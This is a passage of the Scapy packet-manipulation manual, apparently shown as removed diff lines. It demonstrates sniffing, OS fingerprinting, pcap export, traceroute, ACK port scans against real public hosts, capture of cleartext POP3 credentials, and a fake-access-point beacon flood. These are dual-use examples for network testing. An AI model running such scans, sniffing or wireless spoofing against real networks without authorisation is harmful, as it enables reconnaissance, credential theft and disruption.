- >>> sniff(filter="icmp and host 66.35.250.151", count=2)
- <Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
- >>> a=_
- >>> a.nsummary()
- 0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
- 0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
- >>> a[1]
- <Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
- ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
- src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
- chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
- \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
- \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
- >>> sniff(iface="wifi0", prn=lambda x: x.summary())
- 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
- 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
- 802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
- 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
- 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
- 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
- 802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
- 802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
- 802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
- 802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
- 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
- 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
- 802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
- 802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
- 802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
- 802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
- >>> sniff(iface="eth1", prn=lambda x: x.show())
- ---[ Ethernet ]---
- dst = 00:ae:f3:52:aa:d1
- src = 00:02:15:37:a2:44
- type = 0x800
- ---[ IP ]---
- version = 4L
- ihl = 5L
- tos = 0x0
- len = 84
- id = 0
- flags = DF
- frag = 0L
- ttl = 64
- proto = ICMP
- chksum = 0x3831
- src = 192.168.5.21
- dst = 66.35.250.151
- options = ''
- ---[ ICMP ]---
- type = echo-request
- code = 0
- chksum = 0x89d9
- id = 0xc245
- seq = 0x0
- ---[ Raw ]---
- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
- ---[ Ethernet ]---
- dst = 00:02:15:37:a2:44
- src = 00:ae:f3:52:aa:d1
- type = 0x800
- ---[ IP ]---
- version = 4L
- ihl = 5L
- tos = 0x0
- len = 84
- id = 2070
- flags =
- frag = 0L
- ttl = 42
- proto = ICMP
- chksum = 0x861b
- src = 66.35.250.151
- dst = 192.168.5.21
- options = ''
- ---[ ICMP ]---
- type = echo-reply
- code = 0
- chksum = 0x91d9
- id = 0xc245
- seq = 0x0
- ---[ Raw ]---
- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
- ---[ Padding ]---
- load = '\n_\x00\x0b'
- >>> sniff(iface=["eth1","eth2"], prn=lambda x: x.sniffed_on+": "+x.summary())
- eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw
- eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-reply 0 / Raw
- eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 echo-request 0 / Raw
- eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 echo-reply 0 / Raw
-
-For even more control over displayed information we can use the ``sprintf()`` function::
-
- >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
- 192.168.1.100 -> 64.233.167.99
-
- 64.233.167.99 -> 192.168.1.100
-
- 192.168.1.100 -> 64.233.167.99
-
- 192.168.1.100 -> 64.233.167.99
- 'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
- (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
- Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
- text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
- en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
- ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
- keep-alive\r\nCache-Control: max-age=0\r\n\r\n'
-
-We can sniff and do passive OS fingerprinting::
-
- >>> p
- <Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
- ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
- src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
- seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
- chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
- ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
- >>> load_module("p0f")
- >>> p0f(p)
- (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
- >>> a=sniff(prn=prnp0f)
- (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
- (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
- (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
- (1.0, ['Windows 2000 (9)'])
-
-The number before the OS guess is the accuracy of the guess.
-
-Filters
--------
-
-.. index::
- single: filter, sprintf()
-
-Demo of both bpf filter and sprintf() method::
-
- >>> a=sniff(filter="tcp and ( port 25 or port 110 )",
- prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%"))
- 192.168.8.10:47226 -> 213.228.0.14:110 S :
- 213.228.0.14:110 -> 192.168.8.10:47226 SA :
- 192.168.8.10:47226 -> 213.228.0.14:110 A :
- 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr>
-
- 192.168.8.10:47226 -> 213.228.0.14:110 A :
- 192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto
-
- 213.228.0.14:110 -> 192.168.8.10:47226 A :
- 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK
-
- 192.168.8.10:47226 -> 213.228.0.14:110 A :
- 192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata
-
- 213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed
-
- 192.168.8.10:47226 -> 213.228.0.14:110 A :
- 213.228.0.14:110 -> 192.168.8.10:47226 FA :
- 192.168.8.10:47226 -> 213.228.0.14:110 FA :
- 213.228.0.14:110 -> 192.168.8.10:47226 A :
-
-Send and receive in a loop
---------------------------
-
-.. index::
- single: srloop()
-
-Here is an example of a (h)ping-like functionality : you always send the same set of packets to see if something change::
-
- >>> srloop(IP(dst="www.target.com/30")/TCP())
- RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
- fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
- IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
- IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
- RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
- fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
- IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
- IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
- RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
- fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
- IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
- IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
- RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
- fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
- IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
- IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
-
-
-Importing and Exporting Data
-----------------------------
-PCAP
-^^^^
-
-It is often useful to save capture packets to pcap file for use at later time or with different applications::
-
- >>> wrpcap("temp.cap",pkts)
-
-To restore previously saved pcap file:
-
- >>> pkts = rdpcap("temp.cap")
-
-or
-
- >>> pkts = sniff(offline="temp.cap")
-
-Hexdump
-^^^^^^^
-
-Scapy allows you to export recorded packets in various hex formats.
-
-Use ``hexdump()`` to display one or more packets using classic hexdump format::
-
- >>> hexdump(pkt)
- 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E.
- 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|......
- 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI..
- 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................
- 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$%
- 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345
- 0060 36 37 67
-
-Hexdump above can be reimported back into Scapy using ``import_hexcap()``::
-
- >>> pkt_hex = Ether(import_hexcap())
- 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E.
- 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|......
- 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI..
- 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................
- 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$%
- 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345
- 0060 36 37 67
- >>> pkt_hex
- <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
- ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
- src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
- chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
- \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
- \x1f !"#$%&\'()*+,-./01234567' |>>>>
-
-Binary string
-^^^^^^^^^^^^^
-
-You can also convert entire packet into a binary string using the ``raw()`` function::
-
- >>> pkts = sniff(count = 1)
- >>> pkt = pkts[0]
- >>> pkt
- <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
- ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
- src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
- chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
- \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
- \x1f !"#$%&\'()*+,-./01234567' |>>>>
- >>> pkt_raw = raw(pkt)
- >>> pkt_raw
- '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
- \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
- \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
- \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
-
-We can reimport the produced binary string by selecting the appropriate first layer (e.g. ``Ether()``).
-
- >>> new_pkt = Ether(pkt_raw)
- >>> new_pkt
- <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
- ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
- src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
- chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
- \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
- \x1f !"#$%&\'()*+,-./01234567' |>>>>
-
-Base64
-^^^^^^
-
-Using the ``export_object()`` function, Scapy can export a base64 encoded Python data structure representing a packet::
-
- >>> pkt
- <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
- ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
- src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
- chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
- \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
- !"#$%&\'()*+,-./01234567' |>>>>
- >>> export_object(pkt)
- eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
- OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
- bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
- WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
- ...
-
-The output above can be reimported back into Scapy using ``import_object()``::
-
- >>> new_pkt = import_object()
- eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
- OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
- bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
- WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
- ...
- >>> new_pkt
- <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
- ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
- src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
- chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
- \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
- !"#$%&\'()*+,-./01234567' |>>>>
-
-Sessions
-^^^^^^^^
-
-At last Scapy is capable of saving all session variables using the ``save_session()`` function:
-
->>> dir()
-['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']
->>> save_session("session.scapy")
-
-Next time you start Scapy you can load the previous saved session using the ``load_session()`` command::
-
- >>> dir()
- ['__builtins__', 'conf']
- >>> load_session("session.scapy")
- >>> dir()
- ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']
-
-
-Making tables
--------------
-
-.. index::
- single: tables, make_table()
-
-Now we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object :
-
-Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later)::
-
- >>> ans, unans = sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
- Received 49 packets, got 24 answers, remaining 0 packets
- >>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
- 216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195
- 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
- 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254
- 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
- 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3
- 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69
- 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178
-
-Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP.
-
-::
-
- >>> ans, unans = sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
- Received 142 packets, got 25 answers, remaining 71 packets
- >>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
- 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
- 20 0 4203 7021 - 11562
- 21 0 4204 7022 - 11563
- 22 0 4205 7023 11561 11564
- 25 0 0 7024 - 11565
- 53 0 4207 7025 - 11566
- 80 0 4028 7026 - 11567
-
-It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.
-
-Routing
--------
-
-.. index::
- single: Routing, conf.route
-
-Now scapy has its own routing table, so that you can have your packets routed differently than the system::
-
- >>> conf.route
- Network Netmask Gateway Iface
- 127.0.0.0 255.0.0.0 0.0.0.0 lo
- 192.168.8.0 255.255.255.0 0.0.0.0 eth0
- 0.0.0.0 0.0.0.0 192.168.8.1 eth0
- >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
- >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
- >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
- >>> conf.route
- Network Netmask Gateway Iface
- 127.0.0.0 255.0.0.0 0.0.0.0 lo
- 192.168.8.0 255.255.255.0 0.0.0.0 eth0
- 0.0.0.0 0.0.0.0 192.168.8.254 eth0
- 192.168.1.1 255.255.255.255 192.168.8.1 eth0
- >>> conf.route.resync()
- >>> conf.route
- Network Netmask Gateway Iface
- 127.0.0.0 255.0.0.0 0.0.0.0 lo
- 192.168.8.0 255.255.255.0 0.0.0.0 eth0
- 0.0.0.0 0.0.0.0 192.168.8.1 eth0
-
-Gnuplot
--------
-
-.. index::
- single: Gnuplot, plot()
-
-We can easily plot some harvested values using Gnuplot. (Make sure that you have Gnuplot-py and Gnuplot installed.)
-For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer::
-
- >>> a, b = sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
- >>> a.plot(lambda x:x[1].id)
- <Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>
-
-.. image:: graphics/ipid.png
-
-
-TCP traceroute (2)
-------------------
-
-.. index::
- single: traceroute(), Traceroute
-
-Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result::
-
- >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
- Received 80 packets, got 80 answers, remaining 0 packets
- 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80
- 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
- 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254
- 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
- 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46
- 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41
- 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69
- 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178
- 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98
- 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89
- 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126
- 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178
- 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146
- 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230
- 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA
- 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA
- 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
- 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
- 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
- 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
- 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
- (<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
-
-The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding.
-
- >>> result, unans = _
- >>> result.show()
- 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80
- 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
- 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254
- 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
- [...]
- >>> result.filter(lambda x: Padding in x[1])
-
-Like any result object, traceroute objects can be added :
-
- >>> r2, unans = traceroute(["www.voila.com"],maxttl=20)
- Received 19 packets, got 19 answers, remaining 1 packets
- 195.101.94.25:80
- 1 192.168.8.1
- 2 82.251.4.254
- 3 213.228.4.254
- 4 212.27.50.169
- 5 212.27.50.162
- 6 193.252.161.97
- 7 193.252.103.86
- 8 193.252.103.77
- 9 193.252.101.1
- 10 193.252.227.245
- 12 195.101.94.25 SA
- 13 195.101.94.25 SA
- 14 195.101.94.25 SA
- 15 195.101.94.25 SA
- 16 195.101.94.25 SA
- 17 195.101.94.25 SA
- 18 195.101.94.25 SA
- 19 195.101.94.25 SA
- 20 195.101.94.25 SA
- >>>
- >>> r3=result+r2
- >>> r3.show()
- 195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80
- 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
- 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254
- 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
- 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46
- 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37
- 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69
- 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178
- 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98
- 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89
- 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126
- 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178
- 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46
- 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234
- 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA
- 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA
- 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
- 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
- 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
- 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
- 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
-
-Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph.
-
- >>> res, unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
- Received 190 packets, got 190 answers, remaining 10 packets
- 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46...
- 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16...
- 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251...
- 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22...
- [...]
- >>> res.graph() # piped to ImageMagick's display program. Image below.
- >>> res.graph(type="ps",target="| lp") # piped to postscript printer
- >>> res.graph(target="> /tmp/graph.svg") # saved to file
-
-.. image:: graphics/graph_traceroute.png
-
-If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed::
-
- >>> res.trace3D()
-
-.. image:: graphics/trace3d_1.png
-
-.. image:: graphics/trace3d_2.png
-
-Wireless frame injection
-------------------------
-
-.. index::
- single: FakeAP, Dot11, wireless, WLAN
-
-Provided that your wireless card and driver are correctly configured for frame injection
-
-::
-
- $ iw dev wlan0 interface add mon0 type monitor
- $ ifconfig mon0 up
-
-On Windows, if using Npcap, the equivalent would be to call
-
- # Of course, conf.iface can be replaced by any interfaces accessed through IFACES
- >>> conf.iface.setmode(1)
-
-you can have a kind of FakeAP::
-
- >>> sendp(RadioTap()/
- Dot11(addr1="ff:ff:ff:ff:ff:ff",
- addr2="00:01:02:03:04:05",
- addr3="00:01:02:03:04:05")/
- Dot11Beacon(cap="ESS", timestamp=1)/
- Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/
- Dot11Elt(ID="Rates", info='\x82\x84\x0b\x16')/
- Dot11Elt(ID="DSset", info="\x03")/
- Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"),
- iface="mon0", loop=1)
-
-Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example ``RadioTap()``) by ``PrismHeader()``, or by a proprietary pseudo-layer, or even to remove it.
-
-
-Simple one-liners
-=================
-
-
-ACK Scan
---------
-
-Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans.
-For example, the following string will be sent to simulate an ACK Scan::
-
- >>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
-
-We can find unfiltered ports in answered packets::
-
- >>> for s,r in ans:
- ... if s[TCP].dport == r[TCP].sport:
- ... print("%d is unfiltered" % s[TCP].dport)
-
-Similarly, filtered ports can be found with unanswered packets::
-
- >>> for s in unans:
- ... print("%d is filtered" % s[TCP].dport)
-
-
-Xmas Scan
----------
-
-Xmas Scan can be launched using the following command::
-
